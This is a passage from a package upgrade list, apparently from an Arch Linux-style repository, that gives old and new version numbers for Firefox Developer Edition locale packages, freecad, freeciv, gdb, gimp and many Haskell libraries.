  firefox-developer-edition-i18n-cak            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-cs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-cy            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-da            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-de            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-dsb            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-el            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-ca            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-gb            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-us            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-eo            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-ar            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-cl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-es            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-mx            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-et            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-eu            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fa            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ff            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fi            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-fur            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-fy-nl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ga-ie            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gd            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gn            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-gu-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-he            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-hi-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-hr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-hsb            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-hu            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-hy-am            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ia            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-id            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-is            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-it            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ja            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ka            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-kab            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-kk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-km            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-kn            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ko            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-lij            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-lt            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-lv            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-mk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-mr            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ms            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-my            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-nb-no            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ne-np            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-nl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-nn-no            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-oc            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pa-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-pl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pt-br            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pt-pt            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-rm            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ro            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ru            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-sat            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sc            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-sco            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-si            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sk            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-skr            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sl            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-son            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sq            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sr            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-sv-se            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-szl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ta            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-te            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tg            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-th            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-trs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-uk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ur            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-uz            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-vi            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-xh            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-zh-cn            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-zh-tw            150.0b2-1            150.0b3-1
                             freecad             1.0.2-10              1.1.0-2
                      freeciv-common              3.2.2-6              3.2.4-1
                        freeciv-gtk3              3.2.2-6              3.2.4-1
                        freeciv-gtk4              3.2.2-6              3.2.4-1
                          freeciv-qt              3.2.2-6              3.2.4-1
                           ft2-clone               2.12-1               2.13-1
                                 gdb               17.1-2               17.1-3
                          gdb-common               17.1-2               17.1-3
                                gegl             0.4.68-1             0.4.70-1
                          gemini-cli           1:0.35.2-1           1:0.35.3-1
                                gimp              3.2.0-1              3.2.2-1
                           git-annex       10.20251215-14       10.20251215-19
                           git-delta             0.19.1-1             0.19.2-1
                          git-repair       1.20230814-189       1.20230814-190
                               gitit         0.15.1.2-121         0.15.1.2-127
                             glances              4.5.2-2              4.5.3-1
                               glirc            2.40.1-70            2.40.1-74
           globalprotect-openconnect              2.5.1-2              2.5.1-3
                                  gn    0.2324.304bbef6-1    0.2324.304bbef6-2
                      gnuradio-iqbal             0.38.3-2             0.38.3-3
                       golangci-lint             2.11.3-1             2.11.4-1
                         google-glog              0.7.1-1              0.7.1-2
                                grpc             1.78.1-2             1.80.0-1
                            grpc-cli             1.78.1-2             1.80.0-1
                                gvim           9.2.0204-2           9.2.0272-1
                              hamlib              4.6.5-3              4.7.0-1
                           hardinfo2             2.2.16-1             2.2.16-2
                 haskell-adjunctions            4.4.3-102              4.4.4-1
                       haskell-aeson            2.2.1.0-5            2.2.1.0-7
         haskell-aeson-better-errors           0.9.1.3-73           0.9.1.3-75
                haskell-aeson-casing          0.2.0.0-233          0.2.0.0-235
                  haskell-aeson-diff         1.1.0.13-267         1.1.0.13-269
                haskell-aeson-pretty           0.8.10-150           0.8.10-152
                    haskell-aeson-qq            0.8.4-335            0.8.4-337
        haskell-aeson-warning-parser             0.1.1-89             0.1.1-91
                  haskell-aeson-yaml          1.1.0.1-349          1.1.0.1-351
                haskell-apply-refact          0.14.0.0-63          0.14.0.0-64
                    haskell-arch-web             0.3.2-54             0.3.2-58
                    haskell-arithmoi          0.13.2.0-32          0.13.2.0-35
            haskell-attoparsec-aeson            2.2.0.0-7            2.2.0.0-9
                haskell-authenticate          1.3.5.2-250          1.3.5.2-253
          haskell-authenticate-oauth              1.7-373              1.7-375
                         haskell-aws             0.24.2-9            0.24.2-12
              haskell-binary-conduit            1.3.1-588            1.3.1-590
            haskell-binary-instances            1.0.4-161            1.0.4-163
               haskell-binary-tagged            0.3.1-332            0.3.1-334
                      haskell-bitvec           1.1.5.0-43           1.1.5.0-45
                  haskell-bower-json          1.1.0.0-229          1.1.0.0-231
                  haskell-breakpoint           0.1.4.0-20            0.1.5.0-1
                     haskell-butcher          1.3.3.2-508          1.3.3.2-510
                    haskell-bv-sized             1.0.6-96             1.0.6-99
                  haskell-byte-order          0.1.3.1-161          0.1.3.1-163
   haskell-bytestring-strict-builder           0.4.5.8-76           0.4.5.8-78
       haskell-cabal-install-parsers           0.6.1.1-12           0.6.1.1-16
                 haskell-casa-client             0.0.3-32             0.0.3-36
                  haskell-casa-types             0.0.3-24             0.0.3-27
                       haskell-cborg          0.2.10.0-86          0.2.10.0-88
                  haskell-cborg-json          0.2.6.0-101          0.2.6.0-103
                  haskell-cheapskate          0.1.1.2-861          0.1.1.2-864
                    haskell-checkers            0.6.0-257            0.6.0-258
                     haskell-chimera          0.4.1.0-144          0.4.1.0-146
                          haskell-ci            0.16.6-48            0.16.6-52
                    haskell-citeproc           0.8.1.1-84           0.8.1.1-86
                   haskell-clash-lib             1.8.2-97            1.8.2-100
               haskell-clash-prelude             1.8.2-89             1.8.2-92
              haskell-classy-prelude           1.5.0.3-81           1.5.0.3-84
                haskell-coinbase-pro          0.9.3.2-435          0.9.3.2-439
       haskell-commonmark-extensions            0.2.5.6-5            0.2.5.6-6
           haskell-commonmark-pandoc           0.2.2.3-46           0.2.2.3-48
                     haskell-concise          0.1.0.1-660          0.1.0.1-662
                     haskell-conduit          1.3.6.1-133          1.3.6.1-135
               haskell-conduit-extra             1.3.8-76             1.3.8-78
               haskell-conduit-parse          0.2.1.1-311          0.2.1.1-313
               haskell-config-schema          1.3.0.0-234          1.3.0.0-236
          haskell-constraints-extras           0.4.0.2-54           0.4.0.2-56
               haskell-contravariant              1.5.5-6              1.5.6-1
        haskell-contravariant-extras            0.3.5.4-6            0.3.5.4-7
                   haskell-criterion           1.6.3.0-47           1.6.3.0-49
       haskell-criterion-measurement           0.2.3.0-57           0.2.3.0-59
             haskell-crypton-conduit            0.2.3-219            0.2.3-221
          haskell-crypton-connection             0.4.5-26             0.4.5-28
          haskell-cryptonite-conduit            0.2.2-792            0.2.2-794
                         haskell-dav            1.3.4-874            1.3.4-879
                        haskell-dbus             1.3.3-73             1.3.3-76
               haskell-dbus-hslogger          0.1.0.1-676          0.1.0.1-679
              haskell-deferred-folds           0.9.18.8-2           0.9.18.8-4
        haskell-dense-linear-algebra          0.1.0.0-444          0.1.0.0-446
               haskell-dependent-map            0.4.0.1-9           0.4.0.1-11
               haskell-dependent-sum          0.7.2.0-219          0.7.2.0-221
      haskell-dependent-sum-template           0.2.0.2-17           0.2.0.2-19
                       haskell-deque          0.4.4.2-114          0.4.4.2-116
              haskell-deriving-aeson           0.2.10-131           0.2.10-133
                      haskell-docopt          0.7.0.8-151          0.7.0.8-153
                haskell-doctemplates          0.11.0.1-76          0.11.0.1-78
            haskell-doctest-discover          0.2.0.0-213          0.2.0.0-215
                      haskell-either             5.0.3-79             5.0.3-80
                  haskell-enummapset          0.7.3.0-139          0.7.3.0-141
                   haskell-esqueleto           3.5.11.0-8           3.5.11.1-4
                  haskell-fdo-notify            0.3.1-922            0.3.1-925
                        haskell-feed          1.3.2.1-330          1.3.2.1-332
                    haskell-floskell           0.10.8-189           0.10.8-191
                       haskell-focus          1.0.3.2-186          1.0.3.2-188
                       haskell-foldl            1.4.18-93            1.4.18-94
                    haskell-fourmolu           0.13.1.0-5           0.14.0.0-2
                        haskell-free              5.2-124              5.2-125
                    haskell-fsnotify           0.4.4.0-40           0.4.4.0-42
                haskell-generic-data           1.1.0.2-66           1.1.0.2-68
                haskell-generic-lens          2.2.2.0-200          2.2.2.0-202
                   haskell-ghc-check          0.5.0.8-150          0.5.0.8-151
              haskell-ghc-exactprint            1.7.1.0-9           1.7.1.0-10
                      haskell-ghcide           2.2.0.0-16            2.3.0.0-5
           haskell-ghcide-test-utils          1.9.0.0-292          1.9.0.0-299
                          haskell-gi           0.26.16-10           0.26.16-12
                      haskell-gi-atk            2.0.28-38            2.0.28-40
                    haskell-gi-cairo            1.0.30-31            1.0.30-33
          haskell-gi-cairo-connector            0.1.1-313            0.1.1-315
                 haskell-gi-dbusmenu            0.4.14-33            0.4.14-35
             haskell-gi-dbusmenugtk3           0.4.15-130           0.4.15-132
                haskell-gi-freetype2             2.0.5-41             2.0.5-43
                      haskell-gi-gdk            4.0.9-106            4.0.9-108
                     haskell-gi-gdk3            3.0.29-30            3.0.29-32
                  haskell-gi-gdk3x11             3.0.15-6             3.0.16-1
                haskell-gi-gdkpixbuf           2.0.32-142           2.0.32-144
                   haskell-gi-gdkx11            4.0.8-129            4.0.8-131
                      haskell-gi-gio            2.0.38-25            2.0.38-27
                     haskell-gi-glib            2.0.30-59            2.0.30-61
                  haskell-gi-gmodule             2.0.6-43             2.0.6-45
                  haskell-gi-gobject            2.0.31-75            2.0.31-77
                 haskell-gi-graphene             1.0.8-68             1.0.8-70
                      haskell-gi-gsk             4.0.8-55             4.0.8-57
                      haskell-gi-gtk            4.0.11-32            4.0.11-34
                   haskell-gi-gtk-hs           0.3.17-101           0.3.17-103
                     haskell-gi-gtk3            3.0.43-13            3.0.43-15
                 haskell-gi-harfbuzz           0.0.10-147           0.0.10-149
                    haskell-gi-pango            1.0.30-36            1.0.30-38
                     haskell-gi-xlib            2.0.14-93            2.0.14-95
                     haskell-git-lfs             1.2.5-78             1.2.5-81
                     haskell-githash          0.1.6.3-345          0.1.6.3-348
                haskell-gtk-sni-tray          0.1.8.1-394          0.1.8.1-397
                   haskell-gtk-strut          0.1.3.2-348          0.1.3.2-350
                  haskell-hackage-db            2.1.3-191            2.1.3-193
            haskell-hackage-security           0.6.3.2-13           0.6.3.2-15
             haskell-haddock-library           1.11.0-184           1.11.0-188
                     haskell-hadrian     0.1.0.0+9.6.6-16     0.1.0.0+9.6.6-19
                      haskell-hakyll          4.16.4.0-25          4.16.4.0-31
            haskell-happstack-server             7.9.3-24             7.9.3-25
                       haskell-hasql          1.5.0.5-114            1.6.1.1-2
    haskell-hasql-dynamic-statements          0.3.1.1-280            0.3.1.2-2
             haskell-hasql-implicits          0.1.0.5-316          0.1.0.5-320
         haskell-hasql-notifications           0.2.0.5-89           0.2.0.5-93
                  haskell-hasql-pool          0.5.2.2-399            0.8.0.2-2
           haskell-hasql-transaction          1.0.1.1-421            1.0.1.2-2
            haskell-hedgehog-classes          0.2.5.4-216          0.2.5.4-218
                        haskell-here           1.2.14-135           1.2.14-136
                    haskell-hie-bios           0.12.0-159           0.12.0-161
                 haskell-hledger-lib               1.52-6               1.52-8
haskell-hls-alternate-number-format-plugin     2.2.0.0-16            2.3.0.0-5
        haskell-hls-cabal-fmt-plugin           2.2.0.0-16            2.3.0.0-5
            haskell-hls-cabal-plugin           2.2.0.0-16            2.3.0.0-5
   haskell-hls-call-hierarchy-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-change-type-signature-plugin       2.2.0.0-16            2.3.0.0-5
            haskell-hls-class-plugin           2.2.0.0-16            2.3.0.0-5
       haskell-hls-code-range-plugin           2.2.0.0-16            2.3.0.0-5
             haskell-hls-eval-plugin           2.2.0.0-16            2.3.0.0-5
  haskell-hls-explicit-fixity-plugin           2.2.0.0-16            2.3.0.0-5
 haskell-hls-explicit-imports-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-explicit-record-fields-plugin      2.2.0.0-16            2.3.0.0-5
         haskell-hls-floskell-plugin           2.2.0.0-16            2.3.0.0-5
         haskell-hls-fourmolu-plugin           2.2.0.0-17            2.3.0.0-5
             haskell-hls-gadt-plugin           2.2.0.0-17            2.3.0.0-5
                   haskell-hls-graph           2.2.0.0-12            2.3.0.0-4
            haskell-hls-hlint-plugin           2.2.0.0-16            2.3.0.0-5
      haskell-hls-module-name-plugin           2.2.0.0-16            2.3.0.0-5
           haskell-hls-ormolu-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-overloaded-record-dot-plugin       2.2.0.0-16            2.3.0.0-5
              haskell-hls-plugin-api           2.2.0.0-15            2.3.0.0-4
          haskell-hls-pragmas-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-qualify-imported-names-plugin      2.2.0.0-16            2.3.0.0-5
         haskell-hls-refactor-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-rename-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-retrie-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-splice-plugin           2.2.0.0-17            2.3.0.0-5
  haskell-hls-stylish-haskell-plugin           2.2.0.0-16            2.3.0.0-5
              haskell-hls-test-utils           2.2.0.0-16            2.3.0.0-5
                     haskell-hoauth2            2.14.0-16            2.14.0-19
                    haskell-hopenpgp           2.10.1-121           2.10.1-124
                       haskell-hpack            0.38.0-21            0.38.0-24
                       haskell-hslua            2.3.0-203            2.3.0-206
                 haskell-hslua-aeson           2.3.1.1-51           2.3.1.1-54
               haskell-hslua-classes             2.3.1-30             2.3.1-31
                  haskell-hslua-core             2.3.2-34             2.3.2-35
                  haskell-hslua-list             1.1.4-29             1.1.4-30
           haskell-hslua-marshalling            2.3.1-141            2.3.1-142
      haskell-hslua-module-doclayout             1.2.0-11             1.2.0-14
           haskell-hslua-module-path            1.1.1-105            1.1.1-108
         haskell-hslua-module-system             1.1.2-54             1.1.2-55
           haskell-hslua-module-text          1.1.0.1-168          1.1.0.1-169
        haskell-hslua-module-version            1.1.1-147            1.1.1-150
            haskell-hslua-module-zip             1.1.3-47             1.1.3-48
     haskell-hslua-objectorientation             2.3.1-49             2.3.1-50
             haskell-hslua-packaging            2.3.1-151            2.3.1-152
                  haskell-hslua-repl            0.1.2-147            0.1.2-148
                haskell-hslua-typing            0.1.1-143            0.1.1-144
                   haskell-hspec-wai           0.11.1-639           0.11.1-642
              haskell-hspec-wai-json           0.11.0-710           0.11.0-713
                haskell-hsyaml-aeson           0.2.0.2-58           0.2.0.2-60
                         haskell-htf          0.15.0.2-68          0.15.0.2-70
                haskell-html-conduit          1.3.2.2-388          1.3.2.2-390
                        haskell-http         4000.4.1-398         4000.4.1-401
                 haskell-http-client            0.7.19-58            0.7.19-60
      haskell-http-client-restricted            0.1.0-198            0.1.0-201
             haskell-http-client-tls          0.3.6.4-137          0.3.6.4-140
                haskell-http-conduit          2.3.9.1-197          2.3.9.1-200
               haskell-http-download          0.2.1.0-327          0.2.1.0-330
                haskell-http-streams          0.8.9.9-292          0.8.9.9-295
                       haskell-http2             5.1.0-17             5.1.0-19
                       haskell-http3             0.0.9-21             0.0.9-23
                  haskell-httpd-shed          0.4.1.2-108          0.4.1.2-109
               haskell-hw-fingertree          0.1.2.1-194          0.1.2.1-196
           haskell-hw-hspec-hedgehog          0.1.1.1-213          0.1.1.1-215
                     haskell-hw-prim          0.6.3.2-213          0.6.3.2-215
                         haskell-hxt         9.3.1.22-234         9.3.1.22-235
                haskell-implicit-hie           0.1.4.0-78           0.1.4.0-80
         haskell-implicit-hie-cradle          0.5.0.1-192          0.5.0.1-194
          haskell-incremental-parser            0.5.1-166            0.5.1-167
   haskell-insert-ordered-containers          0.2.5.3-200          0.2.5.3-203
                 haskell-interpolate            0.2.1-468            0.2.1-469
    haskell-interpolatedstring-perl6            1.0.2-405            1.0.2-406
                   haskell-invariant             0.6.4-94             0.6.4-95
                       haskell-ipynb              0.2-283              0.2-285
              haskell-ipython-kernel           0.12.0.0-8          0.12.0.0-10
           haskell-isomorphism-class             0.1.1-92             0.1.1-94
                 haskell-ixset-typed          0.5.1.0-314          0.5.1.0-316
                        haskell-jose             0.10-256             0.10-259
                   haskell-js-jquery            3.7.1-107            3.7.1-110
              haskell-kan-extensions             5.2.7-85             5.2.7-87
                        haskell-keys             3.12.5-5             3.12.5-6
                    haskell-kvitable            1.1.1.1-7           1.1.1.1-10
           haskell-lambdabot-trusted          5.3.1.2-244          5.3.1.2-247
                  haskell-lambdahack         0.11.0.1-190         0.11.0.1-193
             haskell-language-server           2.2.0.0-19            2.3.0.0-5
                    haskell-lattices             2.2.1-96             2.2.1-97
                        haskell-lens              5.3.4-1              5.3.4-3
                 haskell-lens-action            0.2.6-329            0.2.6-331
                  haskell-lens-aeson            1.2.3-202            1.2.3-205
                     haskell-libyaml            0.1.4-161            0.1.4-163
                      haskell-linear            1.23.2-47            1.23.2-49
                      haskell-list-t           1.0.5.7-63           1.0.5.7-65
                    haskell-lrucache           1.2.0.1-26           1.2.0.1-27
                         haskell-lsp           2.2.0.0-10           2.2.0.0-13
                    haskell-lsp-test          0.16.0.0-11          0.16.0.0-14
                   haskell-lsp-types            2.0.2.0-9           2.0.2.0-12
               haskell-lua-arbitrary          1.0.1.1-135            1.0.1.2-1
                  haskell-lumberjack          1.0.3.0-172          1.0.3.0-173
                  haskell-microaeson           0.1.0.3-43           0.1.0.3-45
             haskell-microlens-aeson            2.5.2-151            2.5.2-153
                 haskell-microstache          1.0.2.3-212          1.0.2.3-214
                  haskell-mime-types            0.1.2.0-4            0.1.2.1-1
                       haskell-mmark          0.0.7.6-346          0.0.7.6-348
                         haskell-mod           0.2.1.0-30           0.2.1.0-32
                  haskell-modern-uri          0.3.6.1-147          0.3.6.1-148
              haskell-monad-dijkstra          0.1.1.5-193          0.1.1.5-195
                haskell-monad-logger           0.3.42-113           0.3.42-115
            haskell-mono-traversable         1.0.21.0-135         1.0.21.0-137
  haskell-mono-traversable-instances          0.1.1.0-386          0.1.1.0-389
                    haskell-mustache           2.4.3.1-72           2.4.3.1-76
          haskell-mutable-containers          0.3.4.1-242          0.3.4.1-244
                  haskell-named-text           1.2.2.0-13           1.2.2.0-16
          haskell-neat-interpolation          0.5.1.4-199          0.5.1.4-201
                 haskell-network-uri          2.6.4.2-137          2.6.4.2-138
                        haskell-oeis           0.3.10.2-6           0.3.10.2-9
                   haskell-one-liner              2.1.1-2              2.1.1-3
             haskell-optparse-simple          0.1.1.4-535          0.1.1.4-538
                      haskell-ormolu           0.6.0.0-13           0.6.0.0-15
                       haskell-pager          0.1.1.0-218          0.1.1.0-220
                      haskell-pandoc               3.5-12                3.6-2
           haskell-pandoc-lua-engine             0.3.3-14                0.4-2
          haskell-pandoc-lua-marshal             0.2.9-15              0.3.0-1
               haskell-pandoc-server           0.1.0.10-3           0.1.0.10-9
                haskell-pandoc-types           1.23.1-164           1.23.1-166
                      haskell-pantry           0.8.2.2-32           0.8.2.2-36
         haskell-parameterized-utils           2.1.11.0-9          2.1.11.0-12
                        haskell-path              0.9.6-9             0.9.6-11
                     haskell-path-io            1.8.2-140            1.8.2-142
                  haskell-persistent          2.14.5.2-58          2.14.5.2-61
            haskell-persistent-mysql         2.13.1.5-100         2.13.1.5-103
       haskell-persistent-postgresql          2.13.5.2-24          2.13.5.2-27
               haskell-persistent-qq          2.12.0.7-73          2.12.0.7-76
           haskell-persistent-sqlite          2.13.1.1-66          2.13.1.1-69
             haskell-persistent-test         2.13.1.3-208         2.13.1.3-211
                  haskell-pipes-http            1.0.6-770            1.0.6-773
                     haskell-pointed            5.0.5-125            5.0.5-127
           haskell-postgresql-binary           0.12.5-267           0.12.5-270
           haskell-postgresql-simple          0.6.5.1-112          0.6.5.1-114
        haskell-prettyprinter-interp          0.2.0.0-157          0.2.0.0-158
                   haskell-prim-uniq              0.2-250              0.2-252
            haskell-primitive-extras         0.10.2.2-131         0.10.2.2-134
                 haskell-profunctors             5.6.3-82             5.6.3-83
            haskell-project-template          0.2.1.0-508          0.2.1.0-510
                         haskell-ptr         0.16.8.7-128         0.16.8.7-130
                        haskell-quic             0.1.27-3             0.1.27-5
          haskell-quickcheck-classes          0.6.5.0-342          0.6.5.0-344
                         haskell-ral             0.2.2-54             0.2.2-56
                      haskell-rebase            1.20.2-14            1.20.2-16
                   haskell-recaptcha          0.1.0.4-379          0.1.0.4-382
           haskell-recursion-schemes            5.2.3-141            5.2.3-142
                    haskell-reducers           3.12.5-125           3.12.5-126
                    haskell-refinery          0.4.0.0-317          0.4.0.0-318
                         haskell-req            3.13.4-32            3.13.4-35
                        haskell-rere           0.2.0.2-13           0.2.0.2-15
                    haskell-rerebase            1.20.2-14            1.20.2-16
                      haskell-retrie            1.2.3-159            1.2.3-161
                 haskell-rio-orphans          0.1.2.0-486          0.1.2.0-488
             haskell-rio-prettyprint           0.1.8.0-69           0.1.8.0-71
                   haskell-row-types           1.0.1.2-66           1.0.1.2-68
                    haskell-safecopy          0.10.4.3-57          0.10.4.3-59
                       haskell-sandi              0.5-597              0.5-599
                    haskell-sandwich           0.2.2.0-20           0.2.2.0-22
                      haskell-scotty             0.22-203             0.22-206
                        haskell-sdl2          2.5.5.1-128          2.5.5.1-131
                    haskell-sdl2-ttf            2.1.3-278            2.1.3-281
                   haskell-semialign             1.3.1-58             1.3.1-59
               haskell-semigroupoids              6.0.2-3              6.0.2-4
                   haskell-serialise          0.2.6.1-174          0.2.6.1-176
                     haskell-servant          0.20.3.0-52          0.20.3.0-54
              haskell-servant-client          0.20.3.0-67          0.20.3.0-71
         haskell-servant-client-core          0.20.3.0-52          0.20.3.0-54
              haskell-servant-server          0.20.3.0-67          0.20.3.0-70
             haskell-servant-swagger            1.2.1-153            1.2.1-156
                       haskell-shake           0.19.6-387           0.19.6-390
                 haskell-shakespeare             2.1.7-14            2.1.7.1-2
             haskell-simple-sendfile           0.2.32-196           0.2.32-198
                 haskell-skylighting             0.14.4-3             0.14.4-5
            haskell-skylighting-core             0.14.4-3             0.14.4-5
     haskell-skylighting-format-ansi              0.1-293              0.1-295
haskell-skylighting-format-blaze-html         0.1.1.3-147          0.1.1.3-149
  haskell-skylighting-format-context          0.1.0.2-257          0.1.0.2-259
    haskell-skylighting-format-latex              0.1-292              0.1-294
                   haskell-snap-core          1.0.5.1-210          1.0.5.1-211
                 haskell-snap-server          1.1.2.1-362          1.1.2.1-365
                   haskell-sourcemap            0.1.7-299            0.1.7-301
                    haskell-src-meta            0.8.15-90            0.8.15-91
                  haskell-statistics           0.16.4.0-9          0.16.4.0-11
        haskell-status-notifier-item            0.3.2.0-2            0.3.2.0-5
              haskell-stm-containers          1.2.1.1-160          1.2.1.1-164
                    haskell-stm-hamt          1.2.1.1-132              1.2.2-3
                       haskell-store           0.7.20-137           0.7.20-139
                     haskell-streams            3.3.3-125            3.3.3-127
                 haskell-strict-list          0.1.7.6-132          0.1.7.6-134
          haskell-string-interpolate          0.3.4.0-143          0.3.4.0-144
                  haskell-structured            0.1.1-319            0.1.1-321
                    haskell-summoner            2.1.0.0-2            2.1.0.0-6
                haskell-summoner-tui            2.1.0.0-2            2.1.0.0-6
                    haskell-swagger2            2.8.10-98           2.8.10-101
           haskell-tagstream-conduit            0.5.6-536            0.5.6-538
haskell-tamarin-prover-accountability            1.12.0-6             1.12.0-8
       haskell-tamarin-prover-export             1.12.0-6             1.12.0-8
        haskell-tamarin-prover-sapic             1.12.0-6             1.12.0-8
         haskell-tamarin-prover-term             1.12.0-6             1.12.0-8
       haskell-tamarin-prover-theory             1.12.0-6             1.12.0-8
        haskell-tamarin-prover-utils             1.12.0-6             1.12.0-8
                 haskell-tar-conduit            0.4.1-191            0.4.1-193
             haskell-tasty-checklist           1.0.8.0-10           1.0.8.0-13
                 haskell-tasty-hslua            1.1.1-139            1.1.1-140
                   haskell-tasty-lua           1.1.1.1-72           1.1.1.1-73
                 haskell-tasty-sugar           2.2.2.1-85           2.2.2.1-88
                     haskell-tdigest            0.3.1-150            0.3.1-152
                     haskell-texmath         0.12.8.11-15          0.12.8.12-1
                haskell-text-builder            0.6.7-283            0.6.7-285
            haskell-text-builder-dev          0.3.3.2-244          0.3.3.2-246
                   haskell-th-compat             0.1.6-87              0.1.7-1
                  haskell-th-desugar               1.16-3               1.16-4
                      haskell-th-env            0.1.1-164            0.1.1-165
                  haskell-th-orphans            0.13.17-4            0.13.17-5
                haskell-th-utilities          0.2.5.2-102          0.2.5.2-103
                         haskell-tls             2.0.6-71             2.0.6-73
         haskell-tls-session-manager             0.0.6-21             0.0.6-23
                   haskell-tree-diff          0.3.0.1-229              0.3.1-3
                    haskell-trifecta            2.1.4-174            2.1.4-176
                      haskell-turtle            1.6.2-161            1.6.2-162
                       haskell-typst               0.6-19              0.6.1-1
               haskell-typst-symbols              0.1.6-2              0.1.7-1
        haskell-uri-bytestring-aeson          0.1.0.9-133          0.1.0.9-135
                  haskell-uri-encode          1.5.0.7-319          1.5.0.7-320
                         haskell-vec             0.5.1-52             0.5.1-54
           haskell-vector-algorithms          0.9.1.0-123          0.9.1.0-125
              haskell-vector-builder          0.3.8.6-139          0.3.8.6-141
            haskell-vector-instances             3.4.3-77             3.4.3-79
                haskell-vector-sized            1.6.1-155            1.6.1-157
            haskell-wai-app-file-cgi            3.1.11-20            3.1.11-23
              haskell-wai-app-static            3.1.9-233            3.1.9-236
                 haskell-wai-conduit          3.0.0.4-714          3.0.0.4-716
                   haskell-wai-extra            3.1.18-41            3.1.18-44
          haskell-wai-handler-launch          3.0.3.1-811          3.0.3.1-814
             haskell-wai-http2-extra            0.1.3-376            0.1.3-379
       haskell-wai-middleware-static            0.9.3-192            0.9.3-195
                        haskell-warp             3.4.0-19             3.4.0-22
                   haskell-warp-quic            0.0.0-435            0.0.0-438
